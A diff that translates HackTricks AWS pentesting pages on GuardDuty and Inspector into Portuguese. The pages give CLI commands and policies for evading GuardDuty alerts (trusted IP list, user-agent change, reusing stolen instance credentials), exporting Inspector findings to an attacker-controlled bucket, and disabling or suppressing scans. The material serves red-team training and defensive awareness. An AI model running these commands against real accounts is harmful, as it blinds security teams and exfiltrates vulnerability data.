privileges could modify GuardDuty's [**Trusted IP list**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) by adding their IP address to it and avoid generating alerts. - +Atacantes com os privilégios anteriores poderiam modificar a [**Lista de IPs Confiáveis**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) do GuardDuty adicionando seu endereço IP a ela e evitar gerar alertas. ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` - #### `guardduty:DeletePublishingDestination` -Attackers could remove the destination to prevent alerting: - +Os atacantes poderiam remover o destino para evitar alertas: ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` - > [!CAUTION] -> Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings. +> Deletar este destino de publicação **não afetará a geração ou visibilidade das descobertas dentro do console do GuardDuty**. O GuardDuty continuará a analisar eventos em seu ambiente AWS, identificar comportamentos suspeitos ou inesperados e gerar descobertas. -### Specific Findings Bypass Examples +### Exemplos Específicos de Bypass de Descobertas -Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught. +Observe que existem dezenas de descobertas do GuardDuty, no entanto, **como Red Teamer, nem todas elas afetarão você**, e o que é melhor, você tem a **documentação completa de cada uma delas** em [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html), então dê uma olhada antes de tomar qualquer ação para não ser pego. -Here you have a couple of examples of specific GuardDuty findings bypasses: +Aqui estão alguns exemplos de bypasses específicos de descobertas do GuardDuty: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) -GuardDuty detect AWS API requests from common penetration testing tools and trigger a [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ -It's detected by the **user agent name** that is passed in the API request.\ -Therefore, **modifying the user agent** it's possible to prevent GuardDuty from detecting the attack. +O GuardDuty detecta solicitações de API da AWS de ferramentas comuns de teste de penetração e aciona uma [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ +É detectado pelo **nome do agente do usuário** que é passado na solicitação da API.\ +Portanto, **modificando o agente do usuário**, é possível evitar que o GuardDuty detecte o ataque. -To prevent this you can search from the script `session.py` in the `botocore` package and modify the user agent, or set Burp Suite as the AWS CLI proxy and change the user-agent with the MitM or just use an OS like Ubuntu, Mac or Windows will prevent this alert from triggering. +Para evitar isso, você pode procurar no script `session.py` no pacote `botocore` e modificar o agente do usuário, ou definir o Burp Suite como o proxy da AWS CLI e mudar o agente do usuário com o MitM ou apenas usar um SO como Ubuntu, Mac ou Windows, o que evitará que este alerta seja acionado. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Extracting EC2 credentials from the metadata service and **utilizing them outside** the AWS environment activates the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) alert. Conversely, employing these credentials from your EC2 instance triggers the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) alert. Yet, **using the credentials on another compromised EC2 instance within the same account goes undetected**, raising no alert. +Extrair credenciais do EC2 do serviço de metadados e **utilizá-las fora** do ambiente AWS ativa o alerta [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Por outro lado, empregar essas credenciais de sua instância EC2 aciona o alerta [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). No entanto, **usar as credenciais em outra instância EC2 comprometida dentro da mesma conta não é detectado**, não levantando nenhum alerta. > [!TIP] -> Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert. +> Portanto, **use as credenciais exfiltradas de dentro da máquina** onde você as encontrou para não acionar este alerta. -## References +## Referências - [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) - [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html) @@ -191,7 +181,3 @@ Extracting EC2 credentials from the metadata service and **utilizing them outsid - [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 655b81fa7..aa656220d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,53 +6,53 @@ ### Inspector -Amazon Inspector is an advanced, automated vulnerability management service designed to enhance the security of your AWS environment. This service continuously scans Amazon EC2 instances, container images in Amazon ECR, Amazon ECS, and AWS Lambda functions for vulnerabilities and unintended network exposure. By leveraging a robust vulnerability intelligence database, Amazon Inspector provides detailed findings, including severity levels and remediation recommendations, helping organizations proactively identify and address security risks. This comprehensive approach ensures a fortified security posture across various AWS services, aiding in compliance and risk management. +O Amazon Inspector é um serviço avançado e automatizado de gerenciamento de vulnerabilidades projetado para melhorar a segurança do seu ambiente AWS. Este serviço escaneia continuamente instâncias do Amazon EC2, imagens de contêiner no Amazon ECR, Amazon ECS e funções do AWS Lambda em busca de vulnerabilidades e exposição indesejada à rede. Ao aproveitar um robusto banco de dados de inteligência de vulnerabilidades, o Amazon Inspector fornece descobertas detalhadas, incluindo níveis de severidade e recomendações de remediação, ajudando as organizações a identificar e abordar proativamente os riscos de segurança. Essa abordagem abrangente garante uma postura de segurança fortalecida em vários serviços AWS, auxiliando na conformidade e gerenciamento de riscos. ### Key elements #### Findings -Findings in Amazon Inspector are detailed reports about vulnerabilities and exposures discovered during the scan of EC2 instances, ECR repositories, or Lambda functions. Based on its state, findings are categorized as: +As descobertas no Amazon Inspector são relatórios detalhados sobre vulnerabilidades e exposições descobertas durante a varredura de instâncias EC2, repositórios ECR ou funções Lambda. Com base em seu estado, as descobertas são categorizadas como: -- **Active**: The finding has not been remediated. -- **Closed**: The finding has been remediated. -- **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**. +- **Ativa**: A descoberta não foi remediada. +- **Fechada**: A descoberta foi remediada. +- **Suprimida**: A descoberta foi marcada com este estado devido a uma ou mais **regras de supressão**. -Findings are also categorized into the next three types: +As descobertas também são categorizadas nos seguintes três tipos: -- **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues. -- **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches. -- **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups. +- **Pacote**: Essas descobertas estão relacionadas a vulnerabilidades em pacotes de software instalados em seus recursos. Exemplos incluem bibliotecas desatualizadas ou dependências com problemas de segurança conhecidos. +- **Código**: Esta categoria inclui vulnerabilidades encontradas no código de aplicativos que estão sendo executados em seus recursos AWS. Problemas comuns são erros de codificação ou práticas inseguras que podem levar a violações de segurança. +- **Rede**: As descobertas de rede identificam exposições potenciais nas configurações de rede que podem ser exploradas por atacantes. Isso inclui portas abertas, protocolos de rede inseguros e grupos de segurança mal configurados. #### Filters and Suppression Rules -Filters and suppression rules in Amazon Inspector help manage and prioritize findings. Filters allow you to refine findings based on specific criteria, such as severity or resource type. Suppression rules allow you to suppress certain findings that are considered low risk, have already been mitigated, or for any other important reason, preventing them from overloading your security reports and allowing you to focus on more critical issues. +Filtros e regras de supressão no Amazon Inspector ajudam a gerenciar e priorizar descobertas. Filtros permitem que você refine as descobertas com base em critérios específicos, como severidade ou tipo de recurso. Regras de supressão permitem que você suprimam certas descobertas que são consideradas de baixo risco, já foram mitigadas ou por qualquer outro motivo importante, evitando que sobrecarreguem seus relatórios de segurança e permitindo que você se concentre em questões mais críticas. #### Software Bill of Materials (SBOM) -A Software Bill of Materials (SBOM) in Amazon Inspector is an exportable nested inventory list detailing all the components within a software package, including libraries and dependencies. SBOMs help provide transparency into the software supply chain, enabling better vulnerability management and compliance. They are crucial for identifying and mitigating risks associated with open source and third-party software components. +Um Software Bill of Materials (SBOM) no Amazon Inspector é uma lista de inventário aninhada exportável que detalha todos os componentes dentro de um pacote de software, incluindo bibliotecas e dependências. SBOMs ajudam a fornecer transparência na cadeia de suprimentos de software, permitindo melhor gerenciamento de vulnerabilidades e conformidade. Eles são cruciais para identificar e mitigar riscos associados a componentes de software de código aberto e de terceiros. ### Key features #### Export findings -Amazon Inspector offers the capability to export findings to Amazon S3 Buckets, Amazon EventBridge and AWS Security Hub, which enables you to generate detailed reports of identified vulnerabilities and exposures for further analysis or sharing at a specific date and time. This feature supports various output formats such as CSV and JSON, making it easier to integrate with other tools and systems. The export functionality allows customization of the data included in the reports, enabling you to filter findings based on specific criteria like severity, resource type, or date range and including by default all of your findings in the current AWS Region with an Active status. +O Amazon Inspector oferece a capacidade de exportar descobertas para Amazon S3 Buckets, Amazon EventBridge e AWS Security Hub, o que permite gerar relatórios detalhados de vulnerabilidades e exposições identificadas para análise ou compartilhamento em uma data e hora específicas. Este recurso suporta vários formatos de saída, como CSV e JSON, facilitando a integração com outras ferramentas e sistemas. A funcionalidade de exportação permite a personalização dos dados incluídos nos relatórios, permitindo que você filtre descobertas com base em critérios específicos, como severidade, tipo de recurso ou intervalo de datas, incluindo por padrão todas as suas descobertas na Região AWS atual com status Ativo. -When exporting findings, a Key Management Service (KMS) key is necessary to encrypt the data during export. KMS keys ensure that the exported findings are protected against unauthorized access, providing an extra layer of security for sensitive vulnerability information. +Ao exportar descobertas, uma chave do Key Management Service (KMS) é necessária para criptografar os dados durante a exportação. As chaves KMS garantem que as descobertas exportadas estejam protegidas contra acesso não autorizado, fornecendo uma camada extra de segurança para informações sensíveis de vulnerabilidades. #### Amazon EC2 instances scanning -Amazon Inspector offers robust scanning capabilities for Amazon EC2 instances to detect vulnerabilities and security issues. Inspector compared extracted metadata from the EC2 instance against rules from security advisories in order to produce package vulnerabilities and network reachability issues. These scans can be performed through **agent-based** or **agentless** methods, depending on the **scan mode** settings configuration of your account. +O Amazon Inspector oferece robustas capacidades de varredura para instâncias do Amazon EC2 para detectar vulnerabilidades e problemas de segurança. O Inspector comparou os metadados extraídos da instância EC2 com regras de avisos de segurança para produzir vulnerabilidades de pacotes e problemas de acessibilidade de rede. Essas varreduras podem ser realizadas por meio de métodos **baseados em agente** ou **sem agente**, dependendo da configuração das definições de **modo de varredura** da sua conta. -- **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance. -- **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning. +- **Baseado em Agente**: Utiliza o agente do AWS Systems Manager (SSM) para realizar varreduras aprofundadas. Este método permite a coleta e análise abrangente de dados diretamente da instância. +- **Sem Agente**: Fornece uma alternativa leve que não requer a instalação de um agente na instância, criando um snapshot EBS de cada volume da instância EC2, procurando vulnerabilidades e, em seguida, excluindo-o; aproveitando a infraestrutura existente da AWS para varredura. -The scan mode determines which method will be used to perform EC2 scans: +O modo de varredura determina qual método será usado para realizar varreduras EC2: -- **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection. -- **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless. +- **Baseado em Agente**: Envolve a instalação do agente SSM em instâncias EC2 para inspeção profunda. +- **Varredura Híbrida**: Combina métodos baseados em agente e sem agente para maximizar a cobertura e minimizar o impacto no desempenho. Nas instâncias EC2 onde o agente SSM está instalado, o Inspector realizará uma varredura baseada em agente, e para aquelas onde não há agente SSM, a varredura realizada será sem agente. -Another important feature is the **deep inspection** for EC2 Linux instances. This feature offers thorough analysis of the software and configuration of EC2 Linux instances, providing detailed vulnerability assessments, including operating system vulnerabilities, application vulnerabilities, and misconfigurations, ensuring a comprehensive security evaluation. This is achieved through the inspection of **custom paths** and all of its sub-directories. By default, Amazon Inspector will scan the following, but each member account can define up to 5 more custom paths, and each delegated administrator up to 10: +Outro recurso importante é a **inspeção profunda** para instâncias EC2 Linux. Este recurso oferece uma análise minuciosa do software e da configuração das instâncias EC2 Linux, fornecendo avaliações detalhadas de vulnerabilidades, incluindo vulnerabilidades do sistema operacional, vulnerabilidades de aplicativos e configurações incorretas, garantindo uma avaliação de segurança abrangente. Isso é alcançado por meio da inspeção de **caminhos personalizados** e todos os seus subdiretórios. Por padrão, o Amazon Inspector irá escanear os seguintes, mas cada conta membro pode definir até 5 caminhos personalizados adicionais, e cada administrador delegado até 10: - `/usr/lib` - `/usr/lib64` @@ -61,28 +61,27 @@ Another important feature is the **deep inspection** for EC2 Linux instances. Th #### Amazon ECR container images scanning -Amazon Inspector provides robust scanning capabilities for Amazon Elastic Container Registry (ECR) container images, ensuring that package vulnerabilities are detected and managed efficiently. +O Amazon Inspector fornece robustas capacidades de varredura para imagens de contêiner do Amazon Elastic Container Registry (ECR), garantindo que as vulnerabilidades de pacotes sejam detectadas e gerenciadas de forma eficiente. -- **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans. -- **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues. +- **Varredura Básica**: Esta é uma varredura rápida e leve que identifica vulnerabilidades conhecidas de pacotes de SO em imagens de contêiner usando um conjunto padrão de regras do projeto de código aberto Clair. Com esta configuração de varredura, seus repositórios serão escaneados ao serem enviados, ou realizando varreduras manuais. +- **Varredura Aprimorada**: Esta opção adiciona o recurso de varredura contínua além da varredura ao enviar. A varredura aprimorada mergulha mais fundo nas camadas de cada imagem de contêiner para identificar vulnerabilidades em pacotes de SO e em pacotes de linguagens de programação com maior precisão. Ela analisa tanto a imagem base quanto quaisquer camadas adicionais, fornecendo uma visão abrangente de potenciais problemas de segurança. #### Amazon Lambda functions scanning -Amazon Inspector includes comprehensive scanning capabilities for AWS Lambda functions and its layers, ensuring the security and integrity of serverless applications. Inspector offers two types of scanning for Lambda functions: +O Amazon Inspector inclui capacidades abrangentes de varredura para funções AWS Lambda e suas camadas, garantindo a segurança e integridade de aplicativos sem servidor. O Inspector oferece dois tipos de varredura para funções Lambda: -- **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding. -- **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues. +- **Varredura padrão do Lambda**: Este recurso padrão identifica vulnerabilidades de software nas dependências do pacote de aplicativo adicionadas à sua função Lambda e camadas. Por exemplo, se sua função usar uma versão de uma biblioteca como python-jwt com uma vulnerabilidade conhecida, ela gera uma descoberta. +- **Varredura de código do Lambda**: Analisa o código de aplicativo personalizado em busca de problemas de segurança, detectando vulnerabilidades como falhas de injeção, vazamentos de dados, criptografia fraca e falta de criptografia. Captura trechos de código destacando vulnerabilidades detectadas, como credenciais codificadas. As descobertas incluem sugestões detalhadas de remediação e trechos de código para corrigir os problemas. #### **Center for Internet Security (CIS) scans** -Amazon Inspector includes CIS scans to benchmark Amazon EC2 instance operating systems against best practice recommendations from the Center for Internet Security (CIS). These scans ensure configurations adhere to industry-standard security baselines. +O Amazon Inspector inclui varreduras CIS para comparar os sistemas operacionais das instâncias Amazon EC2 com as recomendações de melhores práticas do Center for Internet Security (CIS). Essas varreduras garantem que as configurações estejam em conformidade com as linhas de base de segurança padrão da indústria. -- **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title. -- **Execution**: Scans are performed or scheduled based on instance tags and defined schedules. -- **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance. +- **Configuração**: As varreduras CIS avaliam se as configurações do sistema atendem a recomendações específicas do CIS Benchmark, com cada verificação vinculada a um ID de verificação e título do CIS. +- **Execução**: As varreduras são realizadas ou agendadas com base em tags de instância e cronogramas definidos. +- **Resultados**: Os resultados pós-varredura indicam quais verificações passaram, foram puladas ou falharam, fornecendo insights sobre a postura de segurança de cada instância. ### Enumeration - ```bash # Administrator and member accounts # @@ -111,7 +110,7 @@ aws inspector2 list-findings aws inspector2 batch-get-finding-details --finding-arns ## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this) aws inspector2 list-finding-aggregations --aggregation-type [--account-ids ] +| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids ] ## Retrieve code snippet information about one or more specified code vulnerability findings aws inspector2 batch-get-code-snippet --finding-arns ## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this) @@ -183,113 +182,101 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` - -### Post Exploitation +### Pós Exploração > [!TIP] -> From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers. +> Do ponto de vista de um atacante, este serviço pode ajudar o atacante a encontrar vulnerabilidades e exposições de rede que poderiam ajudá-lo a comprometer outras instâncias/containers. > -> However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones). +> No entanto, um atacante também poderia estar interessado em interromper este serviço para que a vítima não consiga ver vulnerabilidades (todas ou específicas). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -An attacker could generate detailed reports of vulnerabilities or software bill of materials (SBOMs) and exfiltrate them from your AWS environment. This information could be exploited to identify specific weaknesses, outdated software, or insecure dependencies, enabling targeted attacks. - +Um atacante poderia gerar relatórios detalhados de vulnerabilidades ou listas de materiais de software (SBOMs) e exfiltrá-los do seu ambiente AWS. Essas informações poderiam ser exploradas para identificar fraquezas específicas, software desatualizado ou dependências inseguras, permitindo ataques direcionados. ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` +O seguinte exemplo mostra como exfiltrar todas as descobertas Ativas do Amazon Inspector para um Bucket Amazon S3 controlado pelo atacante com uma chave Amazon KMS controlada pelo atacante: -The following example shows how to exfiltrate all the Active findings from Amazon Inspector to an attacker controlled Amazon S3 Bucket with an attacker controlled Amazon KMS key: - -1. **Create an Amazon S3 Bucket** and attach a policy to it in order to be accessible from the victim Amazon Inspector: - +1. **Crie um Bucket Amazon S3** e anexe uma política a ele para que seja acessível a partir do Amazon Inspector da vítima: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "allow-inspector", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], - "Resource": "arn:aws:s3:::inspector-findings/*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - }, - "ArnLike": { - "aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "allow-inspector", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], +"Resource": "arn:aws:s3:::inspector-findings/*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +}, +"ArnLike": { +"aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" +} +} +} +] } ``` - -2. **Create an Amazon KMS key** and attach a policy to it in order to be usable by the victim’s Amazon Inspector: - +2. **Crie uma chave do Amazon KMS** e anexe uma política a ela para que possa ser utilizada pelo Amazon Inspector da vítima: ```json { - "Version": "2012-10-17", - "Id": "key-policy", - "Statement": [ - { - ... - }, - { - "Sid": "Allow victim Amazon Inspector to use the key", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-policy", +"Statement": [ +{ +... +}, +{ +"Sid": "Allow victim Amazon Inspector to use the key", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +} +} +} +] } ``` - -3. Execute the command to **create the findings report** exfiltrating it: - +3. Execute o comando para **criar o relatório de descobertas** exfiltrando-o: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` - -- **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses. +- **Impacto Potencial**: Geração e exfiltração de relatórios detalhados de vulnerabilidades e software, obtendo insights sobre vulnerabilidades específicas e fraquezas de segurança. #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -An attacker could cancel the generation of the specified findings report or SBOM report, preventing security teams from receiving timely information about vulnerabilities and software bill of materials (SBOMs), delaying the detection and remediation of security issues. - +Um atacante poderia cancelar a geração do relatório de descobertas especificado ou do relatório SBOM, impedindo que as equipes de segurança recebam informações oportunas sobre vulnerabilidades e a lista de materiais de software (SBOMs), atrasando a detecção e a remediação de problemas de segurança. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` - -- **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues. +- **Impacto Potencial**: Interrupção da monitorização de segurança e prevenção da detecção e remediação oportunas de problemas de segurança. #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -An attacker with these permissions would be able manipulate the filtering rules that determine which vulnerabilities and security issues are reported or suppressed (if the **action** is set to SUPPRESS, a suppression rule would be created). This could hide critical vulnerabilities from security administrators, making it easier to exploit these weaknesses without detection. By altering or removing important filters, an attacker could also create noise by flooding the system with irrelevant findings, hindering effective security monitoring and response. - +Um atacante com essas permissões seria capaz de manipular as regras de filtragem que determinam quais vulnerabilidades e problemas de segurança são relatados ou suprimidos (se a **ação** estiver definida como SUPPRESS, uma regra de supressão seria criada). Isso poderia ocultar vulnerabilidades críticas dos administradores de segurança, facilitando a exploração dessas fraquezas sem detecção. Ao alterar ou remover filtros importantes, um atacante também poderia criar ruído ao inundar o sistema com descobertas irrelevantes, dificultando a monitorização e resposta de segurança eficazes. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -298,93 +285,78 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` - -- **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings. +- **Impacto Potencial**: Ocultação ou supressão de vulnerabilidades críticas, ou inundação do sistema com descobertas irrelevantes. #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) -An attacker could significantly disrupt the security management structure. +Um atacante poderia interromper significativamente a estrutura de gerenciamento de segurança. -- Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports. -- Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities. +- Desabilitando a conta de administrador delegado, o atacante poderia impedir que a equipe de segurança acessasse e gerenciasse as configurações e relatórios do Amazon Inspector. +- Habilitar uma conta de administrador não autorizada permitiria que um atacante controlasse as configurações de segurança, potencialmente desabilitando varreduras ou modificando configurações para ocultar atividades maliciosas. > [!WARNING] -> It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator. +> É necessário que a conta não autorizada esteja na mesma Organização que a vítima para se tornar o administrador delegado. > -> In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** - +> Para que a conta não autorizada se torne o administrador delegado, também é necessário que, após o administrador delegado legítimo ser desabilitado, e antes que a conta não autorizada seja habilitada como o administrador delegado, o administrador legítimo deve ser desregistrado como o administrador delegado da organização. Isso pode ser feito com o seguinte comando (**`organizations:DeregisterDelegatedAdministrator`** permissão necessária): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id # Enable aws inspector2 enable-delegated-admin-account --delegated-admin-account-id ``` - -- **Potential Impact**: Disruption of the security management. +- **Impacto Potencial**: Interrupção da gestão de segurança. #### `inspector2:AssociateMember`, `inspector2:DisassociateMember` -An attacker could manipulate the association of member accounts within an Amazon Inspector organization. By associating unauthorized accounts or disassociating legitimate ones, an attacker could control which accounts are included in security scans and reporting. This could lead to critical accounts being excluded from security monitoring, enabling the attacker to exploit vulnerabilities in those accounts without detection. +Um atacante poderia manipular a associação de contas membros dentro de uma organização do Amazon Inspector. Ao associar contas não autorizadas ou desassociar contas legítimas, um atacante poderia controlar quais contas estão incluídas em varreduras de segurança e relatórios. Isso poderia levar à exclusão de contas críticas da monitorização de segurança, permitindo que o atacante explorasse vulnerabilidades nessas contas sem detecção. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Esta ação deve ser realizada pelo administrador delegado. ```bash # Associate aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` - -- **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities. +- **Impacto Potencial**: Exclusão de contas-chave de varreduras de segurança, permitindo a exploração não detectada de vulnerabilidades. #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -An attacker with the `inspector2:Disable` permission would be able to disable security scans on specific resource types (EC2, ECR, Lambda, Lambda code) over the specified accounts, leaving parts of the AWS environment unmonitored and vulnerable to attacks. In addition, owing the **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** permissions, an attacker could then re-enable scans selectively to avoid detection of suspicious configurations. +Um atacante com a permissão `inspector2:Disable` seria capaz de desativar varreduras de segurança em tipos de recursos específicos (EC2, ECR, Lambda, código Lambda) nas contas especificadas, deixando partes do ambiente AWS não monitoradas e vulneráveis a ataques. Além disso, devido às permissões **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, um atacante poderia então reativar varreduras seletivamente para evitar a detecção de configurações suspeitas. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Esta ação deve ser realizada pelo administrador delegado. ```bash # Disable aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>] # Enable aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids ] ``` - -- **Potential Impact**: Creation of blind spots in the security monitoring. +- **Impacto Potencial**: Criação de pontos cegos na monitorização de segurança. #### `inspector2:UpdateOrganizationConfiguration` -An attacker with this permission would be able to update the configurations for your Amazon Inspector organization, affecting the default scanning features enabled for new member accounts. +Um atacante com esta permissão seria capaz de atualizar as configurações para a sua organização Amazon Inspector, afetando os recursos de varredura padrão ativados para novas contas de membros. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Esta ação deve ser realizada pelo administrador delegado. ```bash aws inspector2 update-organization-configuration 